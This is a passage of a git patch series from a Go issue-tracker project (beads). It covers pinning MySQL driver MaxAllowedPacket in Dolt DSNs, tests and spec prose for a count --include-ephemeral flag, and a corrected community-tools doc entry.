paragraph now says so. The paragraph above it rested on the same premise ("no Dolt server can be configured to accept a larger packet than this"). Left alone, it would contradict the corrected paragraph. It now states what the type cap does guarantee: no Dolt server can report a larger value, so the old probe could never have produced a higher ceiling than this pin. Comment-only; no code or test change. The contributor's second commit message still has the old wording. Contributor commits stay untouched to preserve authorship, so this comment is the corrected record. Two optional nits were left as-is: - Asserting == 1<<30 instead of >= in both tests. The tests are correct as written, and their stated purpose is a lower bound ("must not shrink what the client will send"). The upward-drift harm the nit describes assumes the server enforces the sysvar, which the fix above shows it does not. - The pin is one byte above the old probe's n-1 ceiling. That difference can't be reached in practice or observed without server-side enforcement, and the synthesis lists leaving it as-is as its first option. Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 --- internal/storage/dbproxy/util/BUILD.bazel | 1 + internal/storage/dbproxy/util/dsn.go | 26 +++++++++++---- internal/storage/dbproxy/util/dsn_test.go | 27 ++++++++++++++++ internal/storage/doltutil/BUILD.bazel | 5 ++- internal/storage/doltutil/dsn.go | 39 ++++++++++++++++++++++- internal/storage/doltutil/dsn_test.go | 39 +++++++++++++++++++++++ 6 files changed, 128 insertions(+), 9 deletions(-) diff --git a/internal/storage/dbproxy/util/BUILD.bazel b/internal/storage/dbproxy/util/BUILD.bazel index 3d77e1a13..dcf75e375 100644 --- a/internal/storage/dbproxy/util/BUILD.bazel +++ b/internal/storage/dbproxy/util/BUILD.bazel @@ -18,6 +18,7 @@ go_test( name = "util_test", srcs = ["dsn_test.go"], embed = [":util"], + deps = ["@com_github_go_sql_driver_mysql//:mysql"], ) # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- diff --git a/internal/storage/dbproxy/util/dsn.go b/internal/storage/dbproxy/util/dsn.go index d69908b48..55ab12ba1 100644 --- a/internal/storage/dbproxy/util/dsn.go +++ b/internal/storage/dbproxy/util/dsn.go @@ -7,6 +7,13 @@ import ( mysql "github.com/go-sql-driver/mysql" ) +// maxAllowedPacketBytes is the client-side packet ceiling pinned into every +// DSN this package builds: 1 GiB, matching Dolt's max_allowed_packet default +// and the maximum its sysvar type permits. See +// internal/storage/doltutil.maxAllowedPacketBytes for the full rationale, +// including why this is deliberately not go-sql-driver/mysql's 64 MiB default. +const maxAllowedPacketBytes = 1 << 30 + type DoltServerDSN struct { Socket string Host string @@ -36,13 +43,18 @@ func (d DoltServerDSN) String() string { } cfg := mysql.Config{ - User: d.User, - Passwd: d.Password, - Net: net, - Addr: addr, - DBName: d.Database, - ParseTime: true, - MultiStatements: true, + User: d.User, + Passwd: d.Password, + Net: net, + Addr: addr, + DBName: d.Database, + ParseTime: true, + MultiStatements: true, + // Same reason as internal/storage/doltutil.ServerDSN: this config is a + // composite literal, so without an explicit value FormatDSN emits + // maxAllowedPacket=0 and the driver spends an extra round-trip on + // "SELECT @@max_allowed_packet" for every new connection. + MaxAllowedPacket: maxAllowedPacketBytes, Timeout: timeout, AllowNativePasswords: true, ClientFoundRows: d.ClientFoundRows, diff --git a/internal/storage/dbproxy/util/dsn_test.go b/internal/storage/dbproxy/util/dsn_test.go index ba353c823..79b1cdc4e 100644 --- a/internal/storage/dbproxy/util/dsn_test.go +++ b/internal/storage/dbproxy/util/dsn_test.go @@ -3,8 +3,35 @@ package util import ( "strings" "testing" + + mysql "github.com/go-sql-driver/mysql" ) +func TestDoltServerDSN_PinsMaxAllowedPacket(t *testing.T) { + dsn := DoltServerDSN{Host: "127.0.0.1", Port: 3306, User: "root"}.String() + + // See internal/storage/doltutil: a zero MaxAllowedPacket makes the driver + // run "SELECT @@max_allowed_packet" on every new connection. Assert the + // parsed value, not the DSN text — FormatDSN omits the parameter when it + // matches the driver default. + cfg, err := mysql.ParseDSN(dsn) + if err != nil { + t.Fatalf("ParseDSN(%q) failed: %v", dsn, err) + } + if cfg.MaxAllowedPacket <= 0 { + t.Errorf("MaxAllowedPacket should be positive so the driver skips the "+ + "per-connection max_allowed_packet probe; got %d from DSN %q", + cfg.MaxAllowedPacket, dsn) + } + + // And must not shrink the client's ceiling below what Dolt accepts. + const doltServerMaxAllowedPacket = 1 << 30 + if cfg.MaxAllowedPacket < doltServerMaxAllowedPacket { + t.Errorf("MaxAllowedPacket must be at least Dolt's %d-byte ceiling; got %d", + doltServerMaxAllowedPacket, cfg.MaxAllowedPacket) + } +} + func TestDoltServerDSN_TLS(t *testing.T) { t.Run("config name takes precedence", func(t *testing.T) { dsn := DoltServerDSN{Host: "127.0.0.1", Port: 3306, User: "root", TLSConfigName: "beads-external-abc", TLSRequired: true}.String() diff --git a/internal/storage/doltutil/BUILD.bazel b/internal/storage/doltutil/BUILD.bazel index 06c0be38a..dbcff6704 100644 --- a/internal/storage/doltutil/BUILD.bazel +++ b/internal/storage/doltutil/BUILD.bazel @@ -37,7 +37,10 @@ go_test( "remotes_test.go", ], embed = [":doltutil"], - deps = ["//internal/storage"], + deps = [ + "//internal/storage", + "@com_github_go_sql_driver_mysql//:mysql", + ], ) # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- diff --git a/internal/storage/doltutil/dsn.go b/internal/storage/doltutil/dsn.go index a995f78d1..642c46276 100644 --- a/internal/storage/doltutil/dsn.go +++ b/internal/storage/doltutil/dsn.go @@ -7,6 +7,28 @@ import ( mysql "github.com/go-sql-driver/mysql" ) +// maxAllowedPacketBytes is the client-side packet ceiling pinned into every +// server DSN. See the field comment in ServerDSN.String for why it must be set +// explicitly at all. +// +// The value is 1 GiB, deliberately NOT go-sql-driver/mysql's own 64 MiB +// default. It matches what the server we actually talk to reports: Dolt's SQL +// engine defines max_allowed_packet with Default 1073741824, and its type +// (NewSystemUintType("max_allowed_packet", 1024, 1073741824)) caps the sysvar +// at that same 1 GiB, so no Dolt server can report a larger value than this. +// Pinning the driver default instead would have lowered the client's ceiling +// from ~1 GiB to 64 MiB and made the driver reject oversized statements +// locally with ErrPktTooLarge — a real regression for large imports and base64 +// content, which is why this is not simply mysql.NewConfig()'s value. +// +// Trade-off worth stating: the probe this replaces set the ceiling from the +// server's *configured* value, so an operator who lowers max_allowed_packet +// below 1 GiB no longer gets a client-side rejection. Nor does the server +// reject the statement instead: Dolt's engine does not enforce the sysvar for +// ordinary query packets (go-mysql-server reads it only in LOAD_FILE), so a +// lowered setting is no longer honored anywhere on the statement path. +const maxAllowedPacketBytes = 1 << 30 + // ServerDSN holds connection parameters for building a MySQL DSN to a Dolt server. // All DSNs built with this struct set parseTime=true and multiStatements=true. type ServerDSN struct { @@ -55,7 +77,22 @@ func (d ServerDSN) String() string { // extra round-trip when interpolation is safe. Independent of // MultiStatements. The driver rejects it only with custom unsafe // collations, which this DSN never sets. - InterpolateParams: true, + InterpolateParams: true, + // MaxAllowedPacket must be set explicitly because this config is built + // as a composite literal rather than via mysql.NewConfig(), which is + // what normally supplies the driver's defaults. Left at the zero value, + // FormatDSN emits maxAllowedPacket=0, and the driver then runs + // "SELECT @@max_allowed_packet" while establishing every new connection + // (connector.go: the probe is taken whenever cfg.MaxAllowedPacket <= 0). + // That is an extra round-trip per connection, paid on every pool + // expansion — the cost that matters against a high-latency remote Dolt + // server, where connections are opened far more often than the packet + // limit ever changes. + // + // See maxAllowedPacketBytes for why the value is the Dolt server's own + // 1 GiB ceiling rather than the driver's 64 MiB default: pinning must + // not shrink what the client is willing to send. + MaxAllowedPacket: maxAllowedPacketBytes, Timeout: timeout, AllowNativePasswords: true, } diff --git a/internal/storage/doltutil/dsn_test.go b/internal/storage/doltutil/dsn_test.go index 3847ff470..1f2ffc768 100644 --- a/internal/storage/doltutil/dsn_test.go +++ b/internal/storage/doltutil/dsn_test.go @@ -3,6 +3,8 @@ package doltutil import ( "strings" "testing" + + mysql "github.com/go-sql-driver/mysql" ) func TestServerDSN_TLSExplicitlyDisabledByDefault(t *testing.T) { @@ -37,6 +39,43 @@ func TestServerDSN_InterpolatesParams(t *testing.T) { } } +func TestServerDSN_PinsMaxAllowedPacket(t *testing.T) { + dsn := ServerDSN{ + Host: "dolt.example.com", + Port: 3307, + User: "root", + }.String() + + // The driver decides whether to probe the server by testing + // cfg.MaxAllowedPacket > 0 while establishing each connection; when it is + // zero it issues "SELECT @@max_allowed_packet" first, costing an extra + // round-trip per new connection. Assert the effective parsed value rather + // than the DSN text: FormatDSN deliberately omits the parameter when it + // equals the driver default, so a substring check would assert the wrong + // thing and pass for the wrong reason. + cfg, err := mysql.ParseDSN(dsn) + if err != nil { + t.Fatalf("ParseDSN(%q) failed: %v", dsn, err) + } + if cfg.MaxAllowedPacket <= 0 { + t.Errorf("MaxAllowedPacket should be positive so the driver skips the "+ + "per-connection max_allowed_packet probe; got %d from DSN %q", + cfg.MaxAllowedPacket, dsn) + } + + // Skipping the probe must not also shrink what the client will send. + // Dolt's max_allowed_packet defaults to 1 GiB and its sysvar type caps it + // there, so anything lower would make the driver reject locally with + // ErrPktTooLarge statements the server would have accepted — the + // regression that using the driver's own 64 MiB default would introduce. + const doltServerMaxAllowedPacket = 1 << 30 + if cfg.MaxAllowedPacket < doltServerMaxAllowedPacket { + t.Errorf("MaxAllowedPacket must be at least Dolt's %d-byte ceiling so "+ + "the client never rejects a packet the server would accept; got %d", + doltServerMaxAllowedPacket, cfg.MaxAllowedPacket) + } +} + func TestServerDSN_UnixSocket(t *testing.T) { dsn := ServerDSN{ Socket: "/tmp/dolt.sock", From 8995f2471e0cab40bfe26378cf77dfde5a020ba7 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 1 Oct 2026 01:14:25 -0700 Subject: [PATCH 011/325] test(count): pin --include-ephemeral as the plane bit alone, and fix the plane prose (post-merge #6240) (#6998) * test(count): pin include_ephemeral as the plane bit and nothing else PR #6240 added `bd count --include-ephemeral` so a count can reach the wisps table without IncludeInfra's other three changes: dropping templates, dropping gates, and routing an infra type to the ephemeral tier. Nothing asserted that second half. Routing IncludeEphemeral through the builder's infra branch, or mapping `include_ephemeral` onto IncludeInfra in the HTTP handler or the CLI, passed every existing test. - workapi: TestCountIncludeEphemeralIsThePlaneBitAndNothingElse, the count twin of the list pin. IncludeEphemeral (no type, a named type, an infra type) leaves IsTemplate, ExcludeTypes and Ephemeral unset; IncludeInfra still sets all four. - httpapi: TestCountForwardsTheEphemeralPlaneParameter sends each plane parameter alone and asserts the exact request the role receives. - cmd/bd: TestCountIncludeEphemeralFlagShape pins the flag, its false default, and that --include-ephemeral alone leaves IncludeInfra false. Each new test fails against its mutant, and it is the only test that does: - builder: `if in.IncludeInfra || in.IncludeEphemeral` - handler: `IncludeInfra: q.boolean("include_infra") || q.boolean("include_ephemeral")` - CLI: `IncludeInfra: includeInfra || includeEphemeral` Post-merge review follow-up for #6240. Co-Authored-By: Claude Opus 5.5 * docs(count): name include_ephemeral where the plane prose said include_infra alone #6240 added a second way to reach the wisps tier, but several statements still said only include_infra could reach it: - spec, countIssues "Planes": "DURABLE-PLANE ONLY unless include_infra is set" now names both knobs and says what include_ephemeral changes. - spec, include_infra: "Unset, the count is durable-plane only" now holds only with include_ephemeral also unset (types.gen.go regenerated). - issueops.CountRequest: the same "Unset" sentence on IncludeInfra and on IncludeEphemeral, each now conditional on the other knob. - workapi.applyCountIncludeInfra: "a count without IncludeInfra keeps its durable-only semantics" now allows for IncludeEphemeral. - httpapi countFilters: the "plane switch" comment named one knob; IncludeEphemeral now has its own comment saying why it is never folded into IncludeInfra. - count_test.go: the default-plane comment names both zero values, and the stale "25 filters" / "26th filter" literals are dropped (the struct has 26 fields). Comment and spec-prose only; `make api-check` is green. Post-merge review follow-up for #6240. Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Eddie the Engineer Co-authored-by: Claude Opus 5.5 --- cmd/bd/count_filter_test.go | 38 +++++++++++ internal/httpapi/apigen/types.gen.go | 2 +- internal/httpapi/count_test.go | 53 +++++++++++++--- internal/httpapi/reads.go | 15 +++-- internal/httpapi/spec/openapi.v0.yaml | 20 +++--- internal/workapi/count.go | 5 +- internal/workapi/count_skipwisps_test.go | 80 ++++++++++++++++++++++++ issueops/counter.go | 9 +-- 8 files changed, 192 insertions(+), 30 deletions(-) diff --git a/cmd/bd/count_filter_test.go b/cmd/bd/count_filter_test.go index d943e1ac5..da97b2831 100644 --- a/cmd/bd/count_filter_test.go +++ b/cmd/bd/count_filter_test.go @@ -38,6 +38,44 @@ func TestCountIncludeInfraFlagShape(t *testing.T) { } } +// TestCountIncludeEphemeralFlagShape is the same pin for --include-ephemeral, +// plus the case TestParseCountRequestCarriesEveryFilterFlag cannot see because +// it sets both plane flags at once: --include-ephemeral ALONE must not reach +// the role as IncludeInfra, which would also drop templates and gates from +// the count. +func TestCountIncludeEphemeralFlagShape(t *testing.T) { + flag := countCmd.Flags().Lookup("include-ephemeral") + if flag == nil { + t.Fatal("bd count must expose an --include-ephemeral flag") + } + if flag.DefValue != "false" { + t.Fatalf("--include-ephemeral must default to false, got %q", flag.DefValue) + } + + request, _, err := parseCountRequest(newCountFlagSet(t)) + if err != nil { + t.Fatalf("parseCountRequest with no flags set: %v", err) + } + if request.IncludeEphemeral { + t.Error("IncludeEphemeral = true with no flags set, want the durable-only default") + } + + flags := newCountFlagSet(t) + if err := flags.Flags().Set("include-ephemeral", "true"); err != nil { + t.Fatalf("set --include-ephemeral: %v", err) + } + request, _, err = parseCountRequest(flags) + if err != nil { + t.Fatalf("parseCountRequest --include-ephemeral: %v", err) + } + if !request.IncludeEphemeral { + t.Error("IncludeEphemeral = false with --include-ephemeral set; the flag was dropped on the way into the request") + } + if request.IncludeInfra { + t.Error("IncludeInfra = true with only --include-ephemeral set; it is the plane bit and nothing else") + } +} + // TestParseCountRequestCarriesEveryFilterFlag is the tripwire for a flag that // is registered, documented and silently dropped on the way into the request. // Every filter flag is set to a value distinguishable from its zero and read diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index 1b3b3ca0d..1611e4e12 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -2402,7 +2402,7 @@ type CountIssuesParams struct { // // The infra vocabulary is the WORKSPACE's, read from its configuration inside the role. A caller does not supply it and cannot — that config load is what this role exists to keep off both front doors. // - // Unset, the count is durable-plane only and applies none of the four: the historical `bd count` answer, kept exactly so a scripted caller reads the same number it read yesterday. + // Unset — and with `include_ephemeral` also unset — the count is durable-plane only and applies none of the four: the historical `bd count` answer, kept exactly so a scripted caller reads the same number it read yesterday. IncludeInfra *bool `form:"include_infra,omitempty" json:"include_infra,omitempty"` // GroupBy Bucket the count by one dimension and return `groups` beside `total`. Absent, the response carries `total` alone. diff --git a/internal/httpapi/count_test.go b/internal/httpapi/count_test.go index 92af3f5c1..986455704 100644 --- a/internal/httpapi/count_test.go +++ b/internal/httpapi/count_test.go @@ -178,11 +178,11 @@ func TestCountForwardsEveryDocumentedParameter(t *testing.T) { // TestCountDefaultsToTheDurablePlaneAndNoBucketing: an empty request is the // role's default answer and nothing else. // -// The zero value of IncludeInfra is the whole plane story on this operation and -// it is worth an assertion of its own: false means DURABLE ONLY — no wisps, no -// `no_history` beads stored in that tier — and a handler that defaulted it on -// would silently start counting ephemeral rows a scripted caller has never -// counted. +// The zero values of IncludeInfra and IncludeEphemeral are the whole plane story +// on this operation and worth an assertion of their own: both false means +// DURABLE ONLY — no wisps, no `no_history` beads stored in that tier — and a +// handler that defaulted either on would silently start counting ephemeral rows +// a scripted caller has never counted. func TestCountDefaultsToTheDurablePlaneAndNoBucketing(t *testing.T) { counter := &roleCounter{} ts := newCountServer(t, counter) @@ -202,6 +202,43 @@ func TestCountDefaultsToTheDurablePlaneAndNoBucketing(t *testing.T) { } } +// TestCountForwardsTheEphemeralPlaneParameter is the count twin of +// TestListForwardsTheEphemeralPlaneParameter: each plane parameter, sent ALONE, +// reaches the role as its own field and nothing else. +// +// TestCountForwardsEveryDocumentedParameter cannot see this. It sends both +// parameters at once, so a handler that also mapped `include_ephemeral` onto +// IncludeInfra records the same request there. Alone, that handler turns a +// plane-only count into one that also drops templates and gates — the answer +// `include_ephemeral` exists to avoid — and this is where it shows. +func TestCountForwardsTheEphemeralPlaneParameter(t *testing.T) { + for _, tc := range []struct { + name string + query string + want issueops.CountRequest + }{ + {"absent leaves the durable count alone", "", issueops.CountRequest{}}, + {"include_ephemeral is the plane bit alone", "?include_ephemeral=true", issueops.CountRequest{IncludeEphemeral: true}}, + {"include_infra does not set the plane bit", "?include_infra=true", issueops.CountRequest{IncludeInfra: true}}, + } { + t.Run(tc.name, func(t *testing.T) { + counter := &roleCounter{} + ts := newCountServer(t, counter) + + if resp := ts.get(t, countPath+tc.query); resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + got := counter.countRequests() + if len(got) != 1 { + t.Fatalf("%d counts, want 1", len(got)) + } + if !reflect.DeepEqual(got[0], tc.want) { + t.Errorf("request = %+v, want %+v", got[0], tc.want) + } + }) + } +} + // TestCountGroupBySelectsTheRolesOtherMethod is the discriminator, asserted in // both directions on the ROLE rather than on the body. // @@ -573,7 +610,7 @@ func TestCountGroupEnumMatchesTheRolesVocabulary(t *testing.T) { // The other two are already mechanical: TestCountParametersMatchTheHandler ties // the parameter names to the DOCUMENT, and TestCountForwardsEveryDocumentedParameter // ties each parameter's VALUE to the field it lands in. Neither can see a role -// field that no parameter reaches — a 26th filter added to CountRequest and left +// field that no parameter reaches — a new filter added to CountRequest and left // unpublished turns nothing red, and the wire silently stops being able to ask // a question the role can answer. That is the failure this map closes, and it is // the one that matters for an HTTP-backed store: it is how the wire becomes @@ -610,8 +647,8 @@ var countFieldForParameter = map[string]string{ "include_ephemeral": "IncludeEphemeral", } -// TestEveryCountRequestFieldIsPublished: the role publishes 25 filters and the -// wire publishes all 25. A field added to issueops.CountRequest fails here and +// TestEveryCountRequestFieldIsPublished: the wire publishes every filter the +// role declares. A field added to issueops.CountRequest fails here and // NAMES itself, so the choice is made deliberately — publish it, or record why // it is withheld — rather than by nobody noticing. // diff --git a/internal/httpapi/reads.go b/internal/httpapi/reads.go index 1afbb122d..1ab132ed8 100644 --- a/internal/httpapi/reads.go +++ b/internal/httpapi/reads.go @@ -219,12 +219,15 @@ func countFilters(q *query) issueops.CountRequest { MetadataFields: q.metadataFields("metadata_field"), HasMetadataKey: q.str("has_metadata_key"), - // The plane switch, forwarded as the boolean the caller sent. What it - // MEANS — merge the wisps tier, drop templates, drop gates, and route an - // infra type to the ephemeral tier — is four decisions the role makes - // from the WORKSPACE's own infra vocabulary, which is a config load this - // handler must never perform. - IncludeInfra: q.boolean("include_infra"), + // The plane switches, each forwarded as the boolean the caller sent. + // What include_infra MEANS — merge the wisps tier, drop templates, drop + // gates, and route an infra type to the ephemeral tier — is four + // decisions the role makes from the WORKSPACE's own infra vocabulary, + // which is a config load this handler must never perform. + IncludeInfra: q.boolean("include_infra"), + // include_ephemeral is the first of those four and none of the rest, so + // it reaches the role as its own field and never as IncludeInfra: folded + // into it, a plane-only count would also lose its templates and gates. IncludeEphemeral: q.boolean("include_ephemeral"), } } diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index dca0c8526..ea95eaf16 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -1789,12 +1789,13 @@ paths: ## Planes - A count is DURABLE-PLANE ONLY unless `include_infra` is set. The wisps - tier — ephemeral wisps and the `no_history` beads that are durable work - stored in that tier — is not counted by default, and `include_infra` - changes FOUR things at once rather than one. See that parameter; it is - the one place on this operation where a single flag moves the set in - more than one direction. + A count is DURABLE-PLANE ONLY unless `include_infra` or + `include_ephemeral` is set. The wisps tier — ephemeral wisps and the + `no_history` beads that are durable work stored in that tier — is not + counted by default. `include_ephemeral` admits that tier and changes + nothing else; `include_infra` admits it too but changes FOUR things at + once rather than one. See that parameter; it is the one place on this + operation where a single flag moves the set in more than one direction. parameters: - name: status in: query @@ -2021,9 +2022,10 @@ paths: config load is what this role exists to keep off both front doors. - Unset, the count is durable-plane only and applies none of the four: - the historical `bd count` answer, kept exactly so a scripted caller - reads the same number it read yesterday. + Unset — and with `include_ephemeral` also unset — the count is + durable-plane only and applies none of the four: the historical + `bd count` answer, kept exactly so a scripted caller reads the same + number it read yesterday. schema: type: boolean default: false diff --git a/internal/workapi/count.go b/internal/workapi/count.go index 00fd466a7..2aef4adc4 100644 --- a/internal/workapi/count.go +++ b/internal/workapi/count.go @@ -124,8 +124,9 @@ func BuildCountFilter(in issueops.CountRequest, cfg ListConfig) (types.IssueFilt // - counting an infra type (agent/role/message, or the store-configured set) // routes to the ephemeral wisps tier, like list's infra-type listing. // -// A count without IncludeInfra never calls this and keeps its historical -// durable-only semantics. +// A count without IncludeInfra never calls this. It keeps its historical +// durable-only semantics unless IncludeEphemeral admits the wisps tier: the +// first of the changes above, with none of the rest. func applyCountIncludeInfra(filter *types.IssueFilter, issueType string, cfg ListConfig) { filter.SkipWisps = false diff --git a/internal/workapi/count_skipwisps_test.go b/internal/workapi/count_skipwisps_test.go index 4727860f9..9bb6009d3 100644 --- a/internal/workapi/count_skipwisps_test.go +++ b/internal/workapi/count_skipwisps_test.go @@ -64,6 +64,86 @@ func TestBuildCountFilter_IncludeEphemeral(t *testing.T) { } } +// TestCountIncludeEphemeralIsThePlaneBitAndNothingElse is the count side of +// TestIncludeEphemeralIsThePlaneBitAndNothingElse. It pins the half of +// CountRequest.IncludeEphemeral that the SkipWisps table above cannot see: the +// field admits the wisps PLANE and changes nothing else. +// +// That half is why the field exists. IncludeInfra already admitted the plane, +// but it also drops template rows of the named type, drops gates and routes an +// infra type to the ephemeral tier. A builder that sent IncludeEphemeral +// through IncludeInfra's branch would pass every SkipWisps assertion and bring +// back exactly the undercount the flag was added to avoid, so this asserts the +// other three fields against IncludeInfra — the field that does set them. +func TestCountIncludeEphemeralIsThePlaneBitAndNothingElse(t *testing.T) { + // The zero ListConfig falls back to the default InfraSet, under which + // "agent" is an infra type: the one IncludeInfra would route to the + // ephemeral tier. + cfg := ListConfig{} + + for _, tt := range []struct { + name string + issueType string + }{ + {"no type", ""}, + {"a named type", "task"}, + {"an infra type", "agent"}, + } { + t.Run("include-ephemeral with "+tt.name, func(t *testing.T) { + plane, err := BuildCountFilter(issueops.CountRequest{IssueType: tt.issueType, IncludeEphemeral: true}, cfg) + if err != nil { + t.Fatalf("BuildCountFilter(IncludeEphemeral): %v", err) + } + if plane.SkipWisps { + t.Error("IncludeEphemeral left SkipWisps set; the wisps plane is exactly what it admits") + } + if plane.IsTemplate != nil { + t.Errorf("IsTemplate = %v, want nil: a count includes templates, and dropping them is the undercount this flag exists to avoid", *plane.IsTemplate) + } + if len(plane.ExcludeTypes) != 0 { + t.Errorf("ExcludeTypes = %v, want none: the gate exclusion is IncludeInfra's, not the plane's", plane.ExcludeTypes) + } + if plane.Ephemeral != nil { + t.Errorf("Ephemeral = %v, want nil: true would route the count to the wisps tier ALONE, and this admits it in addition", *plane.Ephemeral) + } + }) + } + + // And IncludeInfra still makes all four changes, so the contrast above is + // drawn against the field it has to differ from. + for _, tt := range []struct { + name string + issueType string + wantEphemeral bool + }{ + {"a named type", "task", false}, + {"an infra type", "agent", true}, + } { + t.Run("include-infra with "+tt.name, func(t *testing.T) { + infra, err := BuildCountFilter(issueops.CountRequest{IssueType: tt.issueType, IncludeInfra: true}, cfg) + if err != nil { + t.Fatalf("BuildCountFilter(IncludeInfra): %v", err) + } + if infra.SkipWisps { + t.Error("IncludeInfra left SkipWisps set") + } + if infra.IsTemplate == nil || *infra.IsTemplate { + t.Error("IncludeInfra did not set IsTemplate=false; it drops templates to match `bd list --include-infra`") + } + if !containsIssueType(infra.ExcludeTypes, "gate") { + t.Errorf("ExcludeTypes = %v, want gate excluded under IncludeInfra", infra.ExcludeTypes) + } + if tt.wantEphemeral { + if infra.Ephemeral == nil || !*infra.Ephemeral { + t.Error("IncludeInfra did not set Ephemeral=true for an infra type; it routes that type to the ephemeral tier") + } + } else if infra.Ephemeral != nil { + t.Errorf("Ephemeral = %v, want nil: only an infra type is routed to the ephemeral tier", *infra.Ephemeral) + } + }) + } +} + // TestCountAndListPlaneAgreement pins how count and list decide the PLANE for // the same request — including the ONE case where they disagree. // diff --git a/issueops/counter.go b/issueops/counter.go index 9886c0657..594ec4add 100644 --- a/issueops/counter.go +++ b/issueops/counter.go @@ -125,9 +125,9 @@ type CountRequest struct { // the implementation. A caller does not supply it and cannot: that is the // config load this role exists to keep off both front doors. // - // Unset, the count is durable-plane only and applies none of those four — - // the historical `bd count` answer, kept exactly so a scripted caller reads - // the same number it read yesterday. + // Unset — and with IncludeEphemeral also unset — the count is durable-plane + // only and applies none of those four: the historical `bd count` answer, + // kept exactly so a scripted caller reads the same number it read yesterday. IncludeInfra bool // IncludeEphemeral admits the EPHEMERAL PLANE — the wisps TABLE — and @@ -150,7 +150,8 @@ type CountRequest struct { // it; only IncludeInfra sets out to reconcile cardinality, and it pays for // that with three changes beyond the plane. // - // Unset, the count is durable-plane only: the historical answer, unchanged. + // Unset — and with IncludeInfra also unset — the count is durable-plane + // only: the historical answer, unchanged. IncludeEphemeral bool } From 08fda16e471f49e028a1edb14e2b9928a1a6a739 Mon Sep 17 00:00:00 2001 From: Trey Stout Date: Thu, 1 Oct 2026 03:17:19 -0500 Subject: [PATCH 012/325] docs: add beadcyte to community tools (Web UIs) (#6332) * docs: add beadcyte to community tools (Web UIs) Local web app that draws bead history and a projected future: a historical-median estimator, a greedy WIP-cap scheduler, and an eight-signal triage score, each with its own uncertainty. Reads and writes only through the bd CLI. Co-Authored-By: Claude Opus 5 (1M context) * docs: correct beadcyte storage-access claim and normalize emphasis The beadcyte entry said the tool "reads and writes exclusively through the `bd` CLI ... never the Dolt files or `.beads/issues.jsonl`". The first half is false for the shipped package. Measured against beadcyte@0.9.0, the latest published version (tarball sha1 93964d9632cc1b1cc846f5d84f0dfa8a79a4ef57, matching the registry shasum): - The package starts exactly one process that is not `bd`: `spawn("dolt", ["sql", "-r", "json", "-q", sql], ...)` with cwd /.beads/embeddeddolt (src/history-sql.mjs:250, `doltSqlRunner`). - `beadcyte freeze` reaches it through `readDoltDates` (src/freeze-cli.mjs:110). `freeze` is a dispatched subcommand (bin/beadcyte.mjs:37, 63-65). The path is on by default: freeze-cli.mjs:33 sets `dolt: true`, and `--no-dolt` (:38) turns it off. - The author's own comment agrees: "`beadcyte freeze` is the ONE place beadcyte reads Dolt directly ... read-only" (src/history-sql.mjs:42-44). Correcting an over-broad claim can easily introduce a new one, so each clause of the replacement was checked: - "reads and writes through the `bd` CLI": every other process the package starts is `bd`. Writes go through `bd update`, including freeze's own write-back (freeze-cli.mjs:127), and through `bd dolt pull`/`push` (src/serve.mjs:498, 509). - "read-only": `QUERIES` (history-sql.mjs:115-124) holds 4 statements, all SELECT. Every SQL call site passes one of them (history-sql.mjs:302-303, 467-470). - "never `.beads/issues.jsonl`": the package contains zero `jsonl` references, so the entry still meets the page's compatibility bar (docs/community-tools.md:8-11). Emphasis: 51 of the page's 52 entries carry exactly one bold span, the linked name. beadcyte carried three. Removing the bold from "happened" and "expects to happen" brings it to 52/52. Length: the correction adds 74 characters, bringing the entry to 1073. That is still the longest of the 7 Web UIs entries, and 3rd on the page after Beadazzle (1579) and Beads Dashboard (1300). Review suggested trimming it to a feature summary. That suggestion is optional and does not gate the review, and how the product is described is the contributor's call, so this commit does not make it. Gates: git diff --cached --check is clean. check-doc-flags.sh returns rc=0 against the pinned v1.2.2 bd. check-doc-freshness.sh reports 68 PASS / 0 FAIL. go test ./test/docsync passes 8/8. go test -tags integration -run TestDocFreshness ./scripts gives 37 pass / 0 fail / 1 skip. Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: Eddie the Engineer --- docs/community-tools.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/docs/community-tools.md b/docs/community-tools.md index 8ba7af45f..13ee5b828 100644 --- a/docs/community-tools.md +++ b/docs/community-tools.md @@ -32,6 +32,8 @@ A curated list of community-built UIs, extensions, and integrations for Beads. R - **[Maggie](https://github.com/mulgadc/maggie)** - Single Go binary with the SPA embedded, serving dashboard, table, board and dependency graph views. Text, id glob, priority, type, assignee, label and status filters compose in one filter bar. Uses the `bd` CLI for every read and write, keeping no store of its own. Runs from a container that bundles `bd` and `dolt`, against either a local `.beads/` directory or a shared Dolt SQL server. Built by [@mulgadc](https://github.com/mulgadc). (Go/React) +- **[beadcyte](https://gitlab.com/incytestudios/beadcyte)** - Local web app that draws two things that look alike and are not: what happened, which is measured, and what it expects to happen, which is a model's opinion. Three models drive the projection — a historical-median duration estimator, a greedy WIP-cap scheduler calibrated against your real throughput, and an eight-signal triage score — each shown with its own uncertainty rather than a flat number. Views for what to do next, the team's frontier, what-if plan diffs, and cost per week; a single self-contained SVG export with no server (`beadcyte --out gantt.svg`); and a changelog generated from closed beads that carry ship evidence. Reads and writes through the `bd` CLI (`bd list --all --json`, `bd show`, `bd history`); `beadcyte freeze` additionally reads the embedded Dolt database directly (read-only, opt out with `--no-dolt`) — never `.beads/issues.jsonl`. Run with `npx beadcyte start`. Built by [Incyte Studios](https://incytestudios.com) ([@treystout](https://github.com/treystout)). (Node.js/Vue) + ## Editor Extensions - **[vscode-beads](https://marketplace.visualstudio.com/items?itemName=planet57.vscode-beads)** - VS Code extension with issues panel and server management. Built by [@jdillon](https://github.com/jdillon). (TypeScript) From 2db739e8b00f4734994155d8a739879788f04b35 Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Thu, 1 Oct 2026 01:19:24 -0700 